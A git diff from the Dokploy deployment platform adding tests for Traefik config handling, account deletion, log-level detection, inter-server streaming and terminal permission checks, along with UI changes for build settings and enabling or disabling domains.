b/apps/dokploy/__test__/traefik/server/update-server-config.test.ts @@ -60,7 +60,7 @@ const baseSettings: WebServerSettings = { docsUrl: null, errorPageTitle: null, errorPageDescription: null, - metaTitle: null, + ogImageUrl: null, footerText: null, }, cleanupCacheApplications: false, diff --git a/apps/dokploy/__test__/traefik/traefik.test.ts b/apps/dokploy/__test__/traefik/traefik.test.ts index b7b0f5645..379c63a00 100644 --- a/apps/dokploy/__test__/traefik/traefik.test.ts +++ b/apps/dokploy/__test__/traefik/traefik.test.ts @@ -151,6 +151,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; const baseRedirect: Redirect = { diff --git a/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts b/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts new file mode 100644 index 000000000..5b1babb2a --- /dev/null +++ b/apps/dokploy/__test__/traefik/write-app-traefik-config.test.ts @@ -0,0 +1,121 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + execAsyncRemote: vi.fn(), + writeFileRemote: vi.fn(), +})); + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsyncRemote: mocks.execAsyncRemote, + writeFileRemote: mocks.writeFileRemote, + }; +}); + +describe("writeAppTraefikConfig", () => { + let cwd: string; + let dynamicPath: string; + + beforeEach(() => { + cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-")); + dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic"); + fs.mkdirSync(dynamicPath, { recursive: true }); + vi.spyOn(process, "cwd").mockReturnValue(cwd); + vi.clearAllMocks(); + }); + + afterEach(() => { + vi.restoreAllMocks(); + fs.rmSync(cwd, { recursive: true, force: true }); + }); + + // Regression test for #5189: Traefik's file provider rejects a standalone + // `routers: {}` / `services: {}` map and aborts its watcher for every + // dynamic config once it hits one, so an app with no domains must never + // get an on-disk config file at all. + it("removes the file instead of writing empty routers/services", async () => { + const appName = "no-domain-app"; + const configPath = path.join(dynamicPath, `${appName}.yml`); + fs.writeFileSync(configPath, "stale content", "utf8"); + + await writeAppTraefikConfig( + { http: { routers: {}, services: {} } }, + appName, + ); + + expect(fs.existsSync(configPath)).toBe(false); + }); + + it("writes the file when routers/services are present", async () => { + const appName = "with-domain-app"; + const configPath = path.join(dynamicPath, `${appName}.yml`); + + await writeAppTraefikConfig( + { + http: { + routers: { + [`${appName}-router-1`]: { + rule: "Host(`x`)", + service: `${appName}-service`, + }, + }, + services: {}, + }, + }, + appName, + ); + + expect(fs.existsSync(configPath)).toBe(true); + }); + + it("removes the remote file instead of writing empty routers/services", async () => { + mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" }); + + await writeAppTraefikConfig( + { http: { routers: {}, services: {} } }, + "no-domain-app", + "server-id", + ); + + expect(mocks.execAsyncRemote).toHaveBeenCalledOnce(); + const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? []; + expect(command).toMatch(/^rm -f /); + expect(command).toContain("no-domain-app.yml"); + }); + + it("writes the remote file when routers/services are present", async () => { + mocks.writeFileRemote.mockResolvedValue(undefined); + + await writeAppTraefikConfig( + { + http: { + routers: { + "with-domain-app-router-1": { + rule: "Host(`x`)", + service: "with-domain-app-service", + }, + }, + services: {}, + }, + }, + "with-domain-app", + "server-id", + ); + + expect(mocks.writeFileRemote).toHaveBeenCalledOnce(); + const [serverId, remotePath, content] = + mocks.writeFileRemote.mock.calls[0] ?? []; + expect(serverId).toBe("server-id"); + expect(remotePath).toContain("with-domain-app.yml"); + expect(content).toContain("with-domain-app-router-1"); + }); +}); diff --git a/apps/dokploy/__test__/utils/account-deletion.test.ts b/apps/dokploy/__test__/utils/account-deletion.test.ts new file mode 100644 index 000000000..b83ad0b7f --- /dev/null +++ b/apps/dokploy/__test__/utils/account-deletion.test.ts @@ -0,0 +1,182 @@ +import { + checkDeletionCode, + generateDeletionCode, + serializeDeletionCode, +} from "@dokploy/server/services/account-deletion"; +import { deleteHubSpotContactByEmail } from "@dokploy/server/utils/tracking/hubspot"; +import Stripe from "stripe"; +import { afterEach, describe, expect, test, vi } from "vitest"; +import { cancelStripeSubscriptions } from "@/server/utils/billing"; + +const makeStripe = ( + subscriptions: Array<{ id: string; status: string }>, + listError?: Error, +) => { + const stripe = { + subscriptions: { + list: vi.fn(() => + listError + ? Promise.reject(listError) + : Promise.resolve({ data: subscriptions }), + ), + cancel: vi.fn(() => Promise.resolve({})), + }, + }; + return stripe as unknown as Stripe & typeof stripe; +}; + +describe("cancelStripeSubscriptions", () => { + test("cancels every non-terminal subscription without invoicing", async () => { + const stripe = makeStripe([ + { id: "sub_active", status: "active" }, + { id: "sub_trial", status: "trialing" }, + { id: "sub_past_due", status: "past_due" }, + { id: "sub_canceled", status: "canceled" }, + { id: "sub_expired", status: "incomplete_expired" }, + ]); + + const result = await cancelStripeSubscriptions("cus_1", stripe); + + expect(stripe.subscriptions.list).toHaveBeenCalledWith({ + customer: "cus_1", + status: "all", + limit: 100, + }); + expect(stripe.subscriptions.cancel).toHaveBeenCalledTimes(3); + expect(stripe.subscriptions.cancel).toHaveBeenCalledWith("sub_active", { + invoice_now: false, + prorate: false, + }); + expect(result).toEqual({ + cancelledSubscriptions: ["sub_active", "sub_trial", "sub_past_due"], + }); + }); + + test("treats a missing customer as having nothing to cancel", async () => { + const missing = new Stripe.errors.StripeInvalidRequestError({ + type: "invalid_request_error", + code: "resource_missing", + message: "No such customer", + }); + const stripe = makeStripe([], missing); + + const result = await cancelStripeSubscriptions("cus_missing", stripe); + + expect(stripe.subscriptions.cancel).not.toHaveBeenCalled(); + expect(result).toEqual({ cancelledSubscriptions: [] }); + }); + + test("propagates unexpected Stripe errors", async () => { + const failure = new Stripe.errors.StripeAPIError({ + type: "api_error", + message: "boom", + }); + const stripe = makeStripe([], failure); + + await expect(cancelStripeSubscriptions("cus_1", stripe)).rejects.toBe( + failure, + ); + }); +}); + +describe("deleteHubSpotContactByEmail", () => { + afterEach(() => { + vi.unstubAllGlobals(); + }); + + test("is skipped when no access token is configured", async () => { + const fetchMock = vi.fn(); + vi.stubGlobal("fetch", fetchMock); + + expect(await deleteHubSpotContactByEmail("a@b.com", undefined)).toBe( + "skipped", + ); + expect(fetchMock).not.toHaveBeenCalled(); + }); + + test("calls the GDPR delete endpoint with the email as id", async () => { + const fetchMock = vi.fn(() => + Promise.resolve(new Response(null, { status: 204 })), + ); + vi.stubGlobal("fetch", fetchMock); + + expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe( + "deleted", + ); + const [url, init] = fetchMock.mock.calls[0] as unknown as [ + string, + RequestInit, + ]; + expect(url).toBe( + "https://api.hubapi.com/crm/v3/objects/contacts/gdpr-delete", + ); + expect(init.method).toBe("POST"); + expect((init.headers as Record).Authorization).toBe( + "Bearer token", + ); + expect(JSON.parse(init.body as string)).toEqual({ + idProperty: "email", + objectId: "a@b.com", + }); + }); + + test("maps 404 to not_found and other errors to failed", async () => { + vi.stubGlobal( + "fetch", + vi.fn(() => Promise.resolve(new Response(null, { status: 404 }))), + ); + expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe( + "not_found", + ); + + vi.stubGlobal( + "fetch", + vi.fn(() => Promise.resolve(new Response("nope", { status: 500 }))), + ); + expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe( + "failed", + ); + }); +}); + +describe("account deletion codes", () => { + test("generates six-digit numeric codes", () => { + for (let i = 0; i < 50; i++) { + expect(generateDeletionCode()).toMatch(/^\d{6}$/); + } + }); + + test("accepts the right code, ignoring surrounding whitespace", () => { + const value = serializeDeletionCode("482913"); + + expect(checkDeletionCode(value, "482913")).toEqual({ + valid: true, + attempts: 0, + }); + expect(checkDeletionCode(value, " 482913 ").valid).toBe(true); + }); + + test("counts failed attempts without revealing the hash", () => { + const value = serializeDeletionCode("482913"); + + const first = checkDeletionCode(value, "000000"); + expect(first.valid).toBe(false); + if (first.valid) throw new Error("unreachable"); + expect(first.attempts).toBe(1); + expect(JSON.parse(first.nextValue)).toEqual({ + ...JSON.parse(value), + attempts: 1, + }); + + const second = checkDeletionCode(first.nextValue, "999999"); + expect(second.valid).toBe(false); + if (second.valid) throw new Error("unreachable"); + expect(second.attempts).toBe(2); + + expect(checkDeletionCode(second.nextValue, "482913")).toEqual({ + valid: true, + attempts: 2, + }); + expect(value).not.toContain("482913"); + }); +}); diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts index c0e734282..4dac477da 100644 --- a/apps/dokploy/__test__/utils/hostname-validation.test.ts +++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts @@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => { "a.b.c.example.co", "xn--80ak6aa92e.com", "123.example.com", + "example", + "dokploy-server", + "localhost", ])("accepts valid hostname %s", (host) => { expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true); }); @@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => { "bbn_client.example.com", "-example.com", "example-.com", - "example", "exa mple.com", "example..com", "", diff --git a/apps/dokploy/__test__/utils/log-type.test.ts b/apps/dokploy/__test__/utils/log-type.test.ts new file mode 100644 index 000000000..b2edfd58c --- /dev/null +++ b/apps/dokploy/__test__/utils/log-type.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, test } from "vitest"; +import { getLogType } from "@/components/dashboard/docker/logs/utils"; + +describe("getLogType", () => { + describe("explicit level declared by structured loggers", () => { + test("JSON string levels (pino, winston, zap)", () => { + expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error"); + }); + + test("JSON numeric levels (pino, bunyan)", () => { + expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error"); + }); + + test("syslog/GELF numeric levels", () => { + expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug"); + }); + + test("GCP-style severity and ECS log.level", () => { + expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe( + "error", + ); + expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe( + "warning", + ); + expect(getLogType('{"log.level":"error","message":"x"}').type).toBe( + "error", + ); + }); + + test("logfmt levels", () => { + expect( + getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type, + ).toBe("error"); + expect( + getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type, + ).toBe("info"); + expect(getLogType("level=warn msg=careful").type).toBe("warning"); + }); + + test("declared level wins over keywords in the message (#4589, #1996)", () => { + // "version"/"GET" in this pino line would otherwise match the debug keywords + const pinoError = + '{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}'; + expect(getLogType(pinoError).type).toBe("error"); + + // info line containing error-like keywords (#4589) + expect( + getLogType( + '{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}', + ).type, + ).toBe("info"); + + // successful job summary with "failed: false, error: none" (#4538) + expect( + getLogType( + 'level=info msg="Finished job, failed: false, skipped: false, error: none"', + ).type, + ).toBe("info"); + }); + + test("declared level wins over statusCode", () => { + expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info"); + }); + + test("unknown level names fall back to keyword detection", () => { + expect( + getLogType('{"level":"verbose","msg":"connection failed"}').type, + ).toBe("error"); + }); + + test("env-var-like text is not treated as logfmt level", () => { + expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe( + "error", + ); + }); + }); + + describe("fallback detection for unstructured logs (unchanged)", () => { + test("statusCode classification", () => { + expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success"); + }); + + test("keyword classification", () => { + expect(getLogType("error: something broke").type).toBe("error"); + expect(getLogType("warning: disk almost full").type).toBe("warning"); + expect(getLogType("Server listening on port 8080").type).toBe("success"); + }); + + test("defaults to info", () => { + expect(getLogType("hello world").type).toBe("info"); + }); + }); +}); diff --git a/apps/dokploy/__test__/utils/remote-stream.test.ts b/apps/dokploy/__test__/utils/remote-stream.test.ts new file mode 100644 index 000000000..6f7a3b358 --- /dev/null +++ b/apps/dokploy/__test__/utils/remote-stream.test.ts @@ -0,0 +1,60 @@ +import { promises as fs } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/services/server", () => ({ + findServerById: vi.fn(), +})); + +import { pipeBetweenServers } from "@dokploy/server/utils/process/remoteStream"; + +describe("pipeBetweenServers", () => { + it("delivers a short source stream that ends before the target is ready", async () => { + const bytes = await pipeBetweenServers({ + source: { serverId: null, command: "printf 'hello world'" }, + target: { serverId: null, command: "sleep 0.3; cat > /dev/null" }, + }); + expect(bytes).toBe(11); + }); + + it("pipes data larger than the pipe buffer unchanged", async () => { + const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-")); + const source = path.join(dir, "src.bin"); + const target = path.join(dir, "dst.bin"); + const size = 1024 * 1024; + const progress: number[] = []; + + const bytes = await pipeBetweenServers({ + source: { + serverId: null, + command: `head -c ${size} /dev/urandom | tee '${source}'`, + }, + target: { serverId: null, command: `cat > '${target}'` }, + onProgress: (transferred) => progress.push(transferred), + }); + + expect(bytes).toBe(size); + expect(progress.at(-1)).toBe(size); + expect(await fs.readFile(target)).toEqual(await fs.readFile(source)); + await fs.rm(dir, { recursive: true, force: true }); + }, 30_000); + + it("reports a target failure with its stderr", async () => { + await expect( + pipeBetweenServers({ + source: { serverId: null, command: "printf x" }, + target: { serverId: null, command: "echo boom >&2; exit 3" }, + }), + ).rejects.toThrow("target exited with code 3: boom"); + }); + + it("reports a source failure", async () => { + await expect( + pipeBetweenServers({ + source: { serverId: null, command: "exit 2" }, + target: { serverId: null, command: "cat > /dev/null" }, + }), + ).rejects.toThrow("source exited with code 2"); + }); +}); diff --git a/apps/dokploy/__test__/wss/authorize.test.ts b/apps/dokploy/__test__/wss/authorize.test.ts index 1b93b9f87..63fe1b9ac 100644 --- a/apps/dokploy/__test__/wss/authorize.test.ts +++ b/apps/dokploy/__test__/wss/authorize.test.ts @@ -95,10 +95,35 @@ describe("canAccessTerminalOverWss", () => { }); it("gates a remote server terminal on server access", async () => { + mockHasPermission.mockResolvedValue(true); mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true); expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false); - // role lookup must not be needed for the remote path + // the remote path must never fall through to the owner/admin local branch expect(mockFindMember).not.toHaveBeenCalled(); }); + + it("denies a remote server terminal without the server.terminal permission", async () => { + // Reaching a server (to deploy on it) must not imply a root shell on it. + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(false); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false); + expect(mockHasPermission).toHaveBeenCalledWith( + { user: { id: USER.id }, session: { activeOrganizationId: "org-1" } }, + { server: ["terminal"] }, + ); + }); + + it("allows a remote server terminal with the server.terminal permission", async () => { + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(true); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true); + }); + + it("does not check permissions for a server the caller cannot access", async () => { + mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"])); + mockHasPermission.mockResolvedValue(true); + expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false); + expect(mockHasPermission).not.toHaveBeenCalled(); + }); }); diff --git a/apps/dokploy/__test__/wss/listen-deployment.test.ts b/apps/dokploy/__test__/wss/listen-deployment.test.ts new file mode 100644 index 000000000..947006da2 --- /dev/null +++ b/apps/dokploy/__test__/wss/listen-deployment.test.ts @@ -0,0 +1,169 @@ +import { EventEmitter } from "node:events"; +import http from "node:http"; +import type { AddressInfo } from "node:net"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import WebSocket from "ws"; + +class FakeChild extends EventEmitter { + stdout = new EventEmitter(); + stderr = new EventEmitter(); + killed = false; + exitCode: number | null = null; + signalCode: NodeJS.Signals | null = null; + signals: string[] = []; + // Mirrors ChildProcess: `killed` flips as soon as a signal is delivered, + // even if the process ignores it and keeps running. + ignoreSigterm = false; + + kill(signal: NodeJS.Signals = "SIGTERM") { + this.signals.push(signal); + this.killed = true; + if (signal === "SIGTERM" && this.ignoreSigterm) return true; + this.signalCode = signal; + this.emit("close", null, signal); + return true; + } +} + +const children = vi.hoisted(() => [] as FakeChild[]); +const nextChild = vi.hoisted(() => ({ ignoreSigterm: false })); +vi.mock("node:child_process", async (importOriginal) => ({ + ...(await importOriginal()), + spawn: vi.fn(() => { + const child = new FakeChild(); + child.ignoreSigterm = nextChild.ignoreSigterm; + children.push(child); + return child; + }), +})); + +const sshClients = vi.hoisted( + () => [] as { connect: ReturnType }[], +); +vi.mock("ssh2", () => ({ + Client: vi.fn(function (this: Record) { + this.on = vi.fn(() => this); + this.connect = vi.fn(() => this); + this.end = vi.fn(); + sshClients.push(this as never); + }), +})); + +const mockValidateRequest = vi.hoisted(() => vi.fn()); +const mockFindServerById = vi.hoisted(() => vi.fn()); +vi.mock("@dokploy/server", () => ({ + IS_CLOUD: false, + validateRequest: mockValidateRequest, + findServerById: mockFindServerById, +})); +vi.mock("@dokploy/server/wss/utils", () => ({ + readValidDirectory: () => true, +})); + +import { setupDeploymentLogsWebSocketServer } from "@/server/wss/listen-deployment"; + +const AUTH = { + user: { id: "user-1" }, + session: { activeOrganizationId: "org-1" }, +}; + +const deferred = () => { + let resolve!: (value: T) => void; + const promise = new Promise((r) => { + resolve = r; + }); + return { promise, resolve }; +}; + +const flush = () => new Promise((r) => setTimeout(r, 50)); + +let server: http.Server; +let url: string; + +beforeEach(async () => { + children.length = 0; + sshClients.length = 0; + nextChild.ignoreSigterm = false; + vi.clearAllMocks(); + server = http.createServer(); + setupDeploymentLogsWebSocketServer(server); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + const { port } = server.address() as AddressInfo; + url = `ws://127.0.0.1:${port}/listen-deployment?logPath=/etc/dokploy/logs/app/deploy.log`; +}); + +afterEach(async () => { + vi.useRealTimers(); + await new Promise((r) => server.close(r)); +}); + +const connect = async (query = "") => { + const ws = new WebSocket(`${url}${query}`); + await new Promise((r) => ws.once("open", r)); + return ws; +}; + +const closeClient = async (ws: WebSocket) => { + ws.close(); + await new Promise((r) => ws.once("close", r)); + await flush(); +}; + +describe("deployment logs websocket (#5518)", () => { + it("kills tail when the client disconnects", async () => { + mockValidateRequest.mockResolvedValue(AUTH); + const ws = await connect(); + await flush(); + expect(children).toHaveLength(1); + + await closeClient(ws); + expect(children[0]!.signals).toContain("SIGTERM"); + }); + + it("does not spawn tail when the client disconnects during auth", async () => { + const auth = deferred(); + mockValidateRequest.mockReturnValue(auth.promise); + const ws = await connect(); + + await closeClient(ws); + auth.resolve(AUTH); + await flush(); + + const leaked = children.filter( + (c) => c.exitCode === null && c.signalCode === null, + ); + expect(leaked).toHaveLength(0); + }); + + it("does not open an SSH session when the client disconnects while loading the server", async () => { + mockValidateRequest.mockResolvedValue(AUTH); + const serverLookup = deferred(); + mockFindServerById.mockReturnValue(serverLookup.promise); + const ws = await connect("&serverId=srv-1"); + + await closeClient(ws); + serverLookup.resolve({ + organizationId: "org-1", + sshKeyId: "key-1", + sshKey: { privateKey: "key" }, + ipAddress: "10.0.0.1", + port: 22, + username: "root", + }); + await flush(); + + const connected = sshClients.filter((c) => c.connect.mock.calls.length > 0); + expect(connected).toHaveLength(0); + }); + + it("force-kills tail with SIGKILL when SIGTERM does not stop it", async () => { + nextChild.ignoreSigterm = true; + mockValidateRequest.mockResolvedValue(AUTH); + const ws = await connect(); + await flush(); + + await closeClient(ws); + await new Promise((r) => setTimeout(r, 1100)); + expect(children[0]!.signals).toEqual(["SIGTERM", "SIGKILL"]); + }); +}); diff --git a/apps/dokploy/__test__/wss/readValidDirectory.test.ts b/apps/dokploy/__test__/wss/readValidDirectory.test.ts index 29d3152eb..fdb4263e1 100644 --- a/apps/dokploy/__test__/wss/readValidDirectory.test.ts +++ b/apps/dokploy/__test__/wss/readValidDirectory.test.ts @@ -94,4 +94,32 @@ describe("readValidDirectory (path traversal)", () => { ), ).toBe(true); }); + + it("returns true for SvelteKit routes with + prefix and @ symbols", () => { + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+page.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+layout.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+server.ts`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/src/routes/+error.svelte`, + ), + ).toBe(true); + expect( + readValidDirectory( + `${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`, + ), + ).toBe(true); + }); }); diff --git a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx index 95f849480..ae3392473 100644 --- a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx @@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => { To use a cluster feature, you need to configure at least a registry first. Please, go to{" "} Settings diff --git a/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/index.ts b/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/index.ts index df972102d..8627f36fb 100644 --- a/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/index.ts +++ b/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/index.ts @@ -8,4 +8,3 @@ export { RestartPolicyForm } from "./restart-policy-form"; export { RollbackConfigForm } from "./rollback-config-form"; export { StopGracePeriodForm } from "./stop-grace-period-form"; export { UpdateConfigForm } from "./update-config-form"; -export { filterEmptyValues, hasValues } from "./utils"; diff --git a/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/utils.ts b/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/utils.ts deleted file mode 100644 index 58793c02e..000000000 --- a/apps/dokploy/components/dashboard/application/advanced/cluster/swarm-forms/utils.ts +++ /dev/null @@ -1,31 +0,0 @@ -/** - * Filters out undefined, null, and empty string values from form data - * Only returns fields that have actual values - */ -export const filterEmptyValues = ( - formData: Record, -): Record => { - return Object.entries(formData).reduce( - (acc, [key, value]) => { - // Keep arrays even if empty (they might be intentionally cleared) - if (Array.isArray(value)) { - if (value.length > 0) { - acc[key] = value; - } - } - // For other values, filter out undefined, null, and empty strings - else if (value !== undefined && value !== null && value !== "") { - acc[key] = value; - } - return acc; - }, - {} as Record, - ); -}; - -/** - * Checks if filtered data has any values to save - */ -export const hasValues = (data: Record): boolean => { - return Object.keys(data).length > 0; -}; diff --git a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx index 56df21c73..9b24d8650 100644 --- a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx @@ -234,7 +234,7 @@ export const HandleRedirect = ({ Replacement - + diff --git a/apps/dokploy/components/dashboard/application/build/show.tsx b/apps/dokploy/components/dashboard/application/build/show.tsx index 32aee23d3..e55db5524 100644 --- a/apps/dokploy/components/dashboard/application/build/show.tsx +++ b/apps/dokploy/components/dashboard/application/build/show.tsx @@ -31,6 +31,45 @@ import { api } from "@/utils/api"; // Railpack versions from https://github.com/railwayapp/railpack/releases export const RAILPACK_VERSIONS = [ + "0.39.0", + "0.38.0", + "0.37.1", + "0.37.0", + "0.36.4", + "0.36.3", + "0.36.2", + "0.36.1", + "0.36.0", + "0.35.0", + "0.34.0", + "0.33.0", + "0.32.0", + "0.31.2", + "0.31.1", + "0.31.0", + "0.30.1", + "0.30.0", + "0.29.0", + "0.28.0", + "0.27.2", + "0.27.1", + "0.27.0", + "0.26.1", + "0.26.0", + "0.25.0", + "0.24.0", + "0.23.0", + "0.22.2", + "0.22.1", + "0.22.0", + "0.21.0", + "0.20.0", + "0.19.0", + "0.18.0", + "0.17.2", + "0.17.1", + "0.17.0", + "0.16.0", "0.15.4", "0.15.3", "0.15.2", @@ -45,12 +84,22 @@ export const RAILPACK_VERSIONS = [ "0.9.1", "0.9.0", "0.8.0", + "0.7.2", + "0.7.1", "0.7.0", + "0.6.1", "0.6.0", + "0.5.1", "0.5.0", "0.4.0", "0.3.0", + "0.2.3", "0.2.2", + "0.2.1", + "0.2.0", + "0.1.2", + "0.1.1", + "0.1.0", ] as const; export enum BuildType { @@ -88,6 +137,7 @@ const mySchema = z.discriminatedUnion("buildType", [ z.object({ buildType: z.literal(BuildType.nixpacks), publishDirectory: z.string().optional(), + isStaticSpa: z.boolean().default(false), }), z.object({ buildType: z.literal(BuildType.railpack), @@ -138,6 +188,7 @@ const resetData = (data: ApplicationData): AddTemplate => { return { buildType: BuildType.nixpacks, publishDirectory: data.publishDirectory || undefined, + isStaticSpa: data.isStaticSpa ?? false, }; case BuildType.paketo_buildpacks: return { @@ -179,6 +230,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { const buildType = form.watch("buildType"); const railpackVersion = form.watch("railpackVersion"); + const publishDirectory = form.watch("publishDirectory"); const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false); useEffect(() => { @@ -224,7 +276,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { ? data.herokuVersion : null, isStaticSpa: - data.buildType === BuildType.static ? data.isStaticSpa : null, + data.buildType === BuildType.static || + data.buildType === BuildType.nixpacks + ? data.isStaticSpa + : null, railpackVersion: data.buildType === BuildType.railpack ? data.railpackVersion || "0.15.4" @@ -419,6 +474,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { )} /> )} + {buildType === BuildType.nixpacks && publishDirectory && ( + ( + + +
+ + + Single Page Application (SPA) + +
+
+ +
+ )} + /> + )} {buildType === BuildType.static && ( See all the details of this deployment |{" "} - + {filteredLogs.length} lines diff --git a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx index 1a531e24c..b3be371ca 100644 --- a/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx +++ b/apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx @@ -342,7 +342,7 @@ export const ShowDeployments = ({ )} {/* Hash (from description) - shown in compact form */} {deployment.description?.trim() && ( - + {deployment.description} )} diff --git a/apps/dokploy/components/dashboard/application/domains/columns.tsx b/apps/dokploy/components/dashboard/application/domains/columns.tsx index 816fbbb8d..506bb9cb8 100644 --- a/apps/dokploy/components/dashboard/application/domains/columns.tsx +++ b/apps/dokploy/components/dashboard/application/domains/columns.tsx @@ -14,6 +14,7 @@ import Link from "next/link"; import { DialogAction } from "@/components/shared/dialog-action"; import { Badge } from "@/components/ui/badge"; import { Button } from "@/components/ui/button"; +import { Switch } from "@/components/ui/switch"; import { Tooltip, TooltipContent, @@ -35,7 +36,9 @@ interface ColumnsProps { validationStates: ValidationStates; handleValidateDomain: (host: string) => Promise; handleDeleteDomain: (domainId: string) => Promise; + handleToggleEnable: (domainId: string) => Promise; isDeleting: boolean; + isToggling: boolean; serverIp?: string; canCreateDomain: boolean; canDeleteDomain: boolean; @@ -47,7 +50,9 @@ export const createColumns = ({ validationStates, handleValidateDomain, handleDeleteDomain, + handleToggleEnable, isDeleting, + isToggling, serverIp, canCreateDomain, canDeleteDomain, @@ -249,6 +254,42 @@ export const createColumns = ({ ); }, }, + { + id: "status", + header: "Status", + cell: ({ row }) => { + const domain = row.original; + if (!canCreateDomain) { + return ( + + {domain.enabled ? "Enabled" : "Disabled"} + + ); + } + return ( + + + +
+ handleToggleEnable(domain.domainId)} + disabled={isToggling} + /> +
+
+ +

+ {domain.enabled + ? "Domain is active. Toggle to disable routing without deleting it." + : "Domain is disabled and not routed. Toggle to enable it again."} +

+
+
+
